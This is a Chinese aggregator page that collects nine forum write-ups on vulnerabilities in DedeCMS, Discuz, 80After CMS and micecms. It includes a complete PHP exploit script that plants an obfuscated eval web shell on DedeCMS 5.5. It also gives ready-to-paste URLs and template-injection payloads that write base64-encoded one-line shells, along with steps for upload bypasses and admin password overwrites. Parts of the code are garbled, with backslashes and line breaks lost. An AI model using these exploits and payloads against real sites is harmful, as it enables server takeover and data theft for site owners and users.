dedecms 补出来的一个鸡肋漏洞漏洞预警

时间:2022-05-08 12:11:11 其他范文 收藏本文 下载本文

dedecms 补出来的一个鸡肋漏洞漏洞预警(共9篇)由网友“就这”投稿提供,下面是小编为大家整理后的dedecms 补出来的一个鸡肋漏洞漏洞预警,仅供参考,大家一起来看看吧。

dedecms 补出来的一个鸡肋漏洞漏洞预警

篇1:dedecms 补出来的一个鸡肋漏洞漏洞预警

作者:冰的原点[L.S.T]&[0.S.T]

刚看了下小帅同志的博客发现上面又介绍了一个关于dedecms的一个0day(www.xssor.cn/sa/?action=show&id=58),不过这个漏洞和几个月前的那个直接写文件的漏洞好象不在一个文件(我记得不太清楚,大家勿怪),刚好手里有一个dedecms的站,但是测试的时候老是不成功,于是下载了一套最新版的dede下载下来看了一下,原来官方早已经补了。可是我在测试的时候,发现官方的补救措施不太明显。下面我们来回顾一下漏洞的形成。在member/story_add_content_action.php文件夹下有如下代码:

WriteBookText($arcID,stripslashes($body));

再来看一下这个函数是处么写的,在includeinc_bookfunctions.php:

function WriteBookText($cid,$body)

{

global $cfg_cmspath,$cfg_basedir;

$ipath = $cfg_cmspath.“/data/textdata”;

$tpath = ceil($cid/5000);

if(!is_dir($cfg_basedir.$ipath)) MkdirAll($cfg_basedir.$ipath,$GLOBALS['cfg_dir_purview']);

if(!is_dir($cfg_basedir.$ipath.'/'.$tpath)) MkdirAll($cfg_basedir.$ipath.'/'.$tpath,$GLOBALS['cfg_dir_purview']);

$bookfile = $cfg_basedir.$ipath.“/{$tpath}/bk{$cid}.php”;

$body = “<”.“?php exit;rn”.$body.“rn?”.“>”;

@$fp = fopen($bookfile,'w');

最重要的是这一句:$body = “<”.“?php exit();rn”.$body.“rn?”.“>”;我没看以前的代码,但是前面加了一个exit();后,即使我们写入一句话,文件里的内容就会变成

好了,漏洞分析到这里了!这也是我们的一句话为什么写进去了却连不上的原因了!有什么说的不对的地方,还请大家指正!

篇2:DedeCms v5.5 漏洞漏洞预警

print_r('

+----------------------------------------+

dedecms v5.5 final getwebshell exploit

+----------------------------------------+

');

if ($argc < 3) {

print_r('

+----------------------------------------+

Usage: php '.$argv[0].' host path

host:     target server (ip/hostname)

path:     path to dedecms

Example:

php '.$argv[0].' localhost /dedecms/

+----------------------------------------+

');

exit;

}

error_reporting(7);

ini_set('max_execution_time', 0);

$host = $argv[1];

$path = $argv[2];

$post_a = 'plus/digg_ajax.php?id=1024e1024&*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(116).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*';

$post_b = 'needCode=aa/../../../data/mysql_error_trace';

$shell = 'data/cache/t.php';

get_send($post_a);

post_send('plus/comments_frame.php',$post_b);

$content = post_send($shell,'t=echo tojen;');

if(substr($content,9,3)=='200'){

echo “nShell Address is:”.$host.$path.$shell;

}else{

echo “nError.”;

}

function get_send($url){

global $host, $path;

$message = “GET ”.$path.“$url HTTP/1.1rn”;

$message .= “Accept: */*rn”;

$message .= “Referer: $host$pathrn”;

$message .= “Accept-Language: zh-cnrn”;

$message .= “Content-Type: application/x-www-form-urlencodedrn”;

$message .= “User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)rn”;

$message .= “Host: $hostrn”;

$message .= “Connection: Closernrn”;

$fp = fsockopen($host, 80);

if(!$fp){

echo “nConnect to host Error”;

}

fputs($fp, $message);

$back = '';

while (!feof($fp))

$back .= fread($fp, 1024);

fclose($fp);

return $back;

}

function post_send($url,$cmd){

global $host, $path;

$message = “POST ”.$path.“$url HTTP/1.1rn”;

$message .= “Accept: */*rn”;

$message .= “Referer: $host$pathrn”;

$message .= “Accept-Language: zh-cnrn”;

$message .= “Content-Type: application/x-www-form-urlencodedrn”;

$message .= “User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)rn”;

$message .= “Host: $hostrn”;

$message .= “Content-Length: ”.strlen($cmd).“rn”;

$message .= “Connection: Closernrn”;

$message .= $cmd;

$fp = fsockopen($host, 80);

if(!$fp){

echo “nConnect to host Error”;

}

fputs($fp, $message);

$back = '';

while (!feof($fp))

$back .= fread($fp, 1024);

fclose($fp);

return $back;

}

?>

利用方法

复制代码

xxx.com//uploads/plus/digg_frame.php?action=good&id=1024%651024&mid=*/fputs(fopen(base64_decode(ZGF0YS9jYWNoZS9jLnBocA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4));?>

复制代码

xxx.com/uploads/plus/comments_frame.php?id=2&needCode=/../../../data/mysql_error_trace

在data/cache下生成c.php

篇3:dedecms v5.1 漏洞漏洞预警

includeinc_bookfunctions.php

---------------------------------------------------

……

function WriteBookText($cid,$body)

{

global $cfg_cmspath,$cfg_basedir;

$ipath = $cfg_cmspath.“/data/textdata”;

$tpath = ceil($cid/5000);

if(!is_dir($cfg_basedir.$ipath)) MkdirAll($cfg_basedir.$ipath,$GLOBALS['cfg_dir_purview']);

if(!is_dir($cfg_basedir.$ipath.'/'.$tpath)) MkdirAll($cfg_basedir.$ipath.'/'.$tpath,$GLOBALS['cfg_dir_purview']);

$bookfile = $cfg_basedir.$ipath.“/{$tpath}/bk{$cid}.php”;

$body = “<”.“?phprn”.$body.“rn?”.“>”;

@$fp = fopen($bookfile,'w');

@flock($fp);

@fwrite($fp,$body);

@fclose($fp);

}

……

篇4:DEDECMS v5.5 GBK Final 的一个鸡肋漏洞

在session.auto_start开启的情况下可以任意覆盖$_SESSION变量,我们可以伪造管理员登录并上传文件

/DedeCmsV55-GBK-Final/uploads/include/dialog/select_soft_post.php

上传时重命名为  *.php.

即可绕过检查上传shell

exp:

1234567891011121314151617181922

篇5:80After CMS V4 鸡肋上传漏洞漏洞预警

By:小A

官方网址:www.reaft.com/

Cms下载地址:www.reaft.com/html/1/200.html

界面做的还不错,搜索了一下好像用的人很少,开始,

首先看目录下 UpLoad.html 文件上传,调用了的是 UpLoad.asp。

UpLoad.asp:

文件上传

<%

dim upload

set upload = new AnUpLoad

upload.Exe = “*”

upload.MaxSize = 4 * 1024 * 1024 '4M

upload.GetData

if upload.ErrorID>0 then

response.Write upload.Description

else

postMess(“images/operate_02.jpg”)

dim savpath

savepath = “/upload/”&year(date())&“/”&month(date())&“/”

for each f in upload.files(-1)

dim file

set file = upload.files(f)

if not(file is nothing) then

if file.saveToFile(savepath,0,true) then

postMess(“images/operate_01.jpg”)

postValue = postValue&“”&savepath&file.filename&“|”

response.write (“”)

end if

end if

set file = nothing

next

end if

set upload = nothing

%>

然后在来看看:UpLoad_Class.vbs.asp。

UpLoad_Class.vbs.asp:

<%

'=========================================================

'类名: AnUpLoad(艾恩无组件上传类)

'=========================================================

C省略N行代码

Public Function GetWH()

'本函数代码参考网络

On Error Resume Next

mvarExtend = lcase(mvarExtend)

if instr(“|jpg|jpeg|bmp|png|gif|asa|”,“|” & mvarExtend & “|”)<=0 then exit function

Dim m_binItem

Set m_binItem =server.CreateObject(“ADODB.Stream”)

m_binItem.Mode = 3

m_binItem.Type = 1

m_binItem.Open

Dim Info

Set Info = server.CreateObject(“ADODB.Recordset”)

Info.Fields.Append “value”, 205, -1

Info.Open

Info.AddNew

Info(“value”).AppendChunk (mvarValue)

m_binItem.Write (Info(“value”))

Info(“value”).AppendChunk (Null)

Info.Update

Info.Close

Set Info = Nothing

select case lcase(mvarExtend)

case “jpg”,“jpeg”

m_binItem.Position=3

do while not m_binItem.EOS

do

intTemp = Ascb(m_binItem.Read(1))

loop while intTemp = 255 and not m_binItem.EOS

if intTemp < 192 or intTemp > 195 then

m_binItem.read(Bin2Val(m_binItem.Read(2))-2)

else

Exit do

end if

do

intTemp = Ascb(m_binItem.Read(1))

loop while intTemp < 255 and not m_binItem.EOS

loop

m_binItem.Read(3)

mvarHeight = Bin2Val(m_binItem.Read(2))

mvarWidth = Bin2Val(m_binItem.Read(2))

case “gif”

if Lcase(strFext)“gif” then strFext=“gif”

m_binItem.Position=6

mvarWidth = BinVal2(m_binItem.Read(2))

mvarHeight = BinVal2(m_binItem.Read(2))

case “png”

if Lcase(strFext)“png” then strFext=“png”

m_binItem.Position=18

mvarWidth = Bin2Val(m_binItem.Read(2))

m_binItem.Read(2)

mvarHeight = Bin2Val(m_binItem.Read(2))

case “bmp”

if Lcase(strFext)“bmp” then strFext=“bmp”

m_binItem.Position=18

mvarWidth = BinVal2(m_binItem.Read(4))

mvarHeight = BinVal2(m_binItem.Read(4))

case “asa”

if Lcase(strFext)“asa” then strFext=“asa”

m_binItem.Position=18

mvarWidth = BinVal2(m_binItem.Read(2))

mvarHeight = BinVal2(m_binItem.Read(2))

end select

m_binItem.Close

If err then

mException=Err.Description

End If

End Function

看红色部分,其他就不解释了,

直接上传asa拿shell。

还有就是上传可能会提示登录,直接伪造session就可以通过了。(站长评论:什么、?伪造 Session???……我了个擦,这要是能伪造,那岂不、、、小A同学可能是看错了,当成了cookie ……)

验证代码在 admin.asp。

admin.asp:

<%

if session(“username”)=“” and session(“password”)=“” then

session(“Errortxt”)=“登录超时,请重新登陆”

response.Redirect(“login.asp”)

response.end

end if

%>

其他就不多说了!

重新编辑了一下,第一次发贴,格式不对,请见谅。

这个应该算是一个漏洞吧,不知道是不是作者故意加上的,在上传扩展名,检查那里,居然加了个asa,无意间发现的。

篇6:Discuz2.x3.x鸡肋通杀注入漏洞漏洞预警

首先说明这个东西价值不大,测试通杀2.x-3.x,以下的版本没看,具体的利用方法本人也没去研究,顶多mysql有file权限的时候可以getshell,当然discuz还是有不少地方有问题的,这个不能说,。。

问题出在文件uc_clientmodelbase.php 的function note_exists函数

1function note_exists() { $noteexists = $this->db->fetch_first(“SELECT value FROM ”.UC_DBTABLEPRE.“vars WHERE name='noteexists”.UC_APPID.“'”); if(empty($noteexists)) { returnFALSE; } else { return TRUE; } }

标红的UC_DBTABLEPRE 常量是从configconfig_ucenter.php 文件读取出来的

标红的UC_DBTABLEPRE 常量是从configconfig_ucenter.php 文件读取出来的

而这个东西是可控的,

在后台站长->UCenter设置

更新一次,表前缀成功写入文件后,下一次更新的时候会调用note_exists函数,于是就触发了漏洞。

​

篇7:micecms一个鸡肋漏洞及修复 附EXP漏洞预警

不是说这个漏洞鸡肋需要什么条件 而是直接改管理员密码了 等你进后台后真正的管理员都进不到更不知道新密码是什么了 所以才鸡肋

经典对白 看代码!..........

indexsetpwdAction.php

运行路径是www.7747.net/index.php/setpwd   呵呵 看上去有点奇特哦

class setpwdAction extends security_normal {

function action{

$loginname=$this->_getParamId(1);

$forgetpwd=$this->_getParamId(2);

global $conn;

if($_POST['user_id']){ //-0-! 居然不是获取Session里的而是自己定义...漏洞所在

$user=new model_User();  //连接数据库

$user->setSubsection('WHERE user_id='.$_POST['user_id']); //查询会员ID 注意 是ID 不是name 默认管理员的ID 绝对是1

$results=$user->doSelectOne();

$password1=$_POST['pwd1']; //密码

$password2=$_POST['pwd2']; //确认密码

$pwd='';

if($password1==$password2 and strlen($password1)>4)

{

$salt = md5(rand(100000, 999999).$_POST['loginname']);

//这个数值用作多重加密密码 不错的加密思路 同时写在USER表里

$pwd=sha1($salt.$password1);

//不解析,。。 就是加密

}

if($results) //不解析

{

if(strlen($pwd)>0){   //没理由你打算空密码把?

$user->setSalt($salt);

$user->setPassword($pwd);

}

$user->setForgetpwd('');

$results=$user->doUpdate();

//写进去了...

if($results)

$exeresult='密码修改成功,请使用新密码登录网站';

else

$exeresult='验证错误,请联系网站管理员!';

//以下代码可以忽略

分析完毕 admin和会员同放在USER表里 所以这里直接修改了

后台登录地址www.7747.net/admin.php/login

EXP:

作者:心灵

修复:看代码自己改吧

篇8:DedeCms v5.6 恶意代码执行漏洞漏洞预警

影响版本:

DedeCms v5.6漏洞描述:

在上传软件的地方,对本地地址没有进行有效的验证,可以被恶意利用

测试方法:

注册会员,上传软件:本地地址中填入a{/dede:link}{dede:toby57 name=“'']=0;phpinfo();//”}x{/dede:toby57},发表后查看或修改即可执行

a{/dede:link}{dede:toby57 name=“'']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//”}x{/dede:toby57}

生成x.php 密码:xiao直接生成一句话,

DedeCms v5.6 恶意代码执行漏洞漏洞预警

,

密码xiao 大家懂得

篇9:DEDECMS 漏洞0day memberindexdo.php漏洞预警

发布作者:心灵

影响版本:dedecms

:www.dedecms.com

漏洞类型:设计错误

漏洞描述:

漏洞代码:

memberindex_do.php

else if($fmdo=='login') // 127.0.0.1/member/index_do.php?fmdo=login&dopost=login 就来到这步了 { //用户登录 if($dopost==“login”) { if(!isset($vdcode)) { $vdcode = ''; } $svali = GetCkVdValue(); if(preg_match(“/2/”,$safe_gdopen)){ if(strtolower($vdcode)!=$svali || $svali=='') { ResetVdValue(); ShowMsg('验证码错误!', '-1'); exit(); }  } if(CheckUserID(25458,'',false)!='ok') { ShowMsg(“你输入的用户名 {25458} 不合法!”,“-1”); exit(); } if($pwd=='') { ShowMsg(“密码不能为空!”,“-1”,0,2000); exit(); }  //检查帐号 $rs = $cfg_ml->CheckUser(25458,$pwd);  //检测用户名密码 这里不会出现提示错误 因为还要运行下面代码 #api{{ if(defined('UC_API') && @include_once DEDEROOT.'/uc_client/client.php') { //苛刻条件之一 已经整合DZ 并安装了UCCLIENT这个插件//检查帐号list($uid, $username, $password, $email) = uc_user_login(25458, $pwd);//登录DEDECMS的同时也登录DZif($uid > 0) {$password = md5($password);//当UC存在用户,而CMS不存在时,就注册一个if(!$rs) { //如果DEDECMS登录不成功//会员的默认金币$row = $dsql->GetOne(“SELECT `money`,`scores` FROM `dede_arcrank` WHERE `rank`='10' ”);$scores = is_array($row) ? $row['scores'] : 0;$money = is_array($row) ? $row['money'] : 0;$logintime = $jointime = time();$loginip = $joinip = GetIP();$res = $dsql->ExecuteNoneQuery(“INSERT INTO dede_member SET `mtype`='个人',`userid`='$username',`pwd`='$password',`uname`='$username',`sex`='男' ,`rank`='10',`money`='$money', `email`='$email', `scores`='$scores', `matt`='0', `face`='',`safequestion`='0',`safeanswer`='', `jointime`='$jointime',`joinip`='$joinip',`logintime`='$logintime',`loginip`='$loginip';”); //漏洞就这样形成了 当DZ的用户全在的话 就会建立到DEDECMS里

经测试 只有密码替换!

简单来说 登录DEDECMS验证就是

如果DEDE账号登录成功 就同时登录DZ 如果DZ登录不成功 就在DZ建立一个一样账号密码的

反之 登录DEDECMS不成功 就在DZ里提取账号 登录成功了就把账号密码写入DEDECMS

利用前提条件

第一 整合DZ

第二 管理员账号不能是ADMIN 因为DZ管理员默认也是ADMIN

第三 DEDE那边管理员没从前台登录,

DEDECMS 漏洞0day memberindexdo.php漏洞预警

,

。和知道管理员账号

这样在DZ里注册一个和DEDE一样的管理员账号 然后从DEDE那里登录 就覆盖了DEDE的管理员密码

然后修改基本资料 改一次密码 就覆盖了后台密码 然后就可以登录后台直接拿WEBSHELL

总的来说 条件苛刻! 但也是有可能拿下WEBSHELL的方法之一

★ 星光贴吧1.3 后台拿SHELL及修复方案漏洞预警

★ Wp暴目录漏洞全版本通杀漏洞预警

★ AWStats 6.4及以下版本多个漏洞以及分析

★ 规章制度执行有漏洞

★ 一个防注入的小白错误千博企业程序漏洞预警

★ DeDeCMS批量修改文章动态发布,生成静态

★ dedecms标记简介

★ 教你做服务级的木马后门

★ waf绕过:mysql注入waf绕过技巧脚本安全

★ 国内CMS现状――带着垃圾站思想的CMS

dedecms 补出来的一个鸡肋漏洞漏洞预警
《dedecms 补出来的一个鸡肋漏洞漏洞预警.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

【dedecms 补出来的一个鸡肋漏洞漏洞预警(共9篇)】相关文章:

帝国CMS 留言本多字节漏洞漏洞预警2023-04-15

对PHP的CMS程序的一些建议和看法2022-09-17

脚本本地/远程文件包含/读取及文件名截断漏洞FUZZ工具详解漏洞预警2023-07-12

opera9.52使用ajax读取本地文件漏洞进一步利用漏洞预警2023-04-03

web安全学习之xss个人总结2023-02-14

DISCUZ X1.5 本地文件包含漏洞2022-07-30

LNK文件漏洞简要分析2023-01-25

双引号被过滤时配置文件插一句话的方法脚本安全2022-10-25

闪存博客SQL注入脚本安全2023-09-01

Linux Kernel ELF文件跨区域映射本地拒绝服务漏洞2023-09-01

点击下载本文文档